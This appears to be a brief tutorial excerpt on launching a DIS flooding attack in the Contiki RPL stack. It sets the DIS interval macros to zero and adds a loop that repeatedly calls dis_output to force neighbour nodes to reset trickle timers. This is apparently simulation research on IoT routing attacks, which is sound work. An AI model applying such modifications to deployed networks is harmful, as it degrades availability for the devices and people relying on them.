Generating a large amount of traffic through DIS messages, causing nodes within ranges are to send DIO messages (using advertise information about DODAG to new nodes) and reset their trickle timers.
Open the file at location:
home/user/contiki/core/net/rpl/
rpl-private.h – Here defines and declared default values for control messages.
#define RPL_DIS_INTERVAL 0
#define RPL_DIS_START_DELAY 0
To launch dis attack, macros defined with default values .set it as 0 .
Step 2: Open a file
rpl-timers.c The function handling the operation DIS message send time interval
Static void handle_periodic_timer(void *ptr)
Code:
int i=0;
while(i<10){
i++;
dis_output(NULL);
}